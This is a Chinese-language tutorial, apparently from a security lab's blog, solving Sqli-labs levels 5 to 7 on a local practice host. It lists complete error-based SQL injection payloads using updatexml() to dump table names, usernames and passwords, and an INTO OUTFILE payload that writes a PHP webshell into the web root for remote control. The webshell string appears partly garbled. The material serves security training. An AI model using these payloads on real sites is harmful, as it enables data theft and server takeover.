声明
本文作者:CloudStrife(玄螭安全实验室-核心成员)
玄螭安全实验室拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明,文章来源等全部内容。未经玄螭安全实验室允许,不得修改文章内容,不能以任何方式将其用于商业目的。
Sqli-labs教程第三章(Less5-Less6)
目录:
1、Less-5
2、Less-6
3、Less-7
1、Less-5
进入Less-5,和第一题一样,输入
http://192.168.85.137/sqli-labs-master/Less-5/?id=1 |
页面不显示任何信息,只提示“You are in”,如图。
加单引号报错,双引号正常,那么试着用单引号进行闭合。
http://192.168.85.137/sqli-labs-master/Less-5/?id=1' union select 1,database(),1--+ |
这一次页面没显示任何信息,阅读源代码,看到执行成功后,代码并不会回显相关信息,所以依靠之前的方法是行不通,但是可以通过报错注入。
报错注入是通过特殊函数的错误使用其参数被页面输出,前提是服务器开启报错信息返回,常用的函数有exp()、updatexml()等,这里采用updatexml()。
updatexml函数是对xml文档进行操作。
语法 updatexml(目标xml文档,xml路径,更新的内容)
这是一个合法的updatexml语句
select (updatexml('/',(select database(),'/'))); |
该语句会正常执行
下面是一个非法的updatexml语句
select (updatexml(0x5c,(select database()),0x5c); |
如果执行该语句,会提示报错,并且会显示查询得到的database数据库信息。这是因为0x5c的控制字符是(),不符合updatexml语法,所以报错并显示错误信息。
接下来用该语句来查看数据库名。
http://192.168.85.137/sqli-labs-master/Less-5/ ?id=-1' and updatexml(1,concat(0x5c,database(),0x5c),1)--+ |
得到了数据库名为security。剩下的payload如下。
http://192.168.85.137/sqli-labs-master/Less-5/?id=-1' and updatexml(1,concat(0x5c,database(),0x5c),1)--+ 获得数据库名 http://192.168.85.137/sqli-labs-master/Less-5/?id=-1' and updatexml(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x5c),1)--+ 获得表名 http://192.168.85.137/sqli-labs-master/Less-5/?id=-1' and updatexml(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x5c),1)--+ 获取users表的字段 http://192.168.85.137/sqli-labs-master/Less-5/?id=-1' and updatexml(1,concat(0x5c,(select group_concat(username) from security.users),0x5c),1) --+ 获取users表中username值 http://192.168.85.137/sqli-labs-master/Less-5/?id=-1' and updatexml(1,concat(0x5c,(select group_concat(password) from security.users),0x5c),1) --+ 获取users表中password值 |
2、Less-6
使用单引号进行测试,不报错,再用双引号测试,报错,显示信息和上一题一样。查看源代码,这一题基本和上面的题目内容一样,只是单引号换成了双引号。
那么payload和前面一样,只需要换成双引号即可。
http://192.168.85.137/sqli-labs-master/Less-6/?id=-1" and updatexml(1,concat(0x5c,database(),0x5c),1)--+ 获得数据库名 http://192.168.85.137/sqli-labs-master/Less-6/?id=-1" and updatexml(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x5c),1)--+ 获得表名 http://192.168.85.137/sqli-labs-master/Less-6/?id=-1" and updatexml(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x5c),1)--+ 获取users表的字段 http://192.168.85.137/sqli-labs-master/Less-6/?id=-1" and updatexml(1,concat(0x5c,(select group_concat(username) from security.users),0x5c),1) --+ 获取users表中username值 http://192.168.85.137/sqli-labs-master/Less-6/?id=-1" and updatexml(1,concat(0x5c,(select group_concat(password) from security.users),0x5c),1) --+ 获取users表中password值 |
3、Less-7
进入第七关,使用单引号报错,双引号正常,那么说明是用单引号包裹。
注意到这里英文内容是You are in … Use outfile,提示可能需要使用写入文件的方式来注入。
查看源码,发现参数被两个括号包围,同时登录成功和失败,都不会有任何提示信息显示,报错信息也被注释掉了。
那么根据提示的信息,要写入文件,必须保证服务器有写入权限,同时知道网站在服务器上的绝对路径。绝对路径通过注入Less2的题目获得。例如。
http://192.168.85.137/sqli-labs-master/Less-2/?id=-1 union select 1,@@basedir,@@datadir #basedir()指定了安装Mysql的安装路径 #datadir()指定了安装Mysql的数据文件路径 |
安装路径和数据文件路径就知道了。
接着用写入一句话木马的方式,写入之前Mysql必须开启secure_file_priv,教程参考https://www.cnblogs.com/Junglezt/p/15871152.html。payload。
http://192.168.85.137/sqli-labs-master/Less-7/?id=-1')) union select 1,2,'cmd"]);?>' into outfile"C:\phpstudy_pro\WWW\sqli-labs-master\Less-7\12345.php"--+ |
用蚁剑进行连接,成功获得靶机权限。
原文始发于微信公众号(玄螭安全实验室):sqli-labs教程第三章(Less5-Less6)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论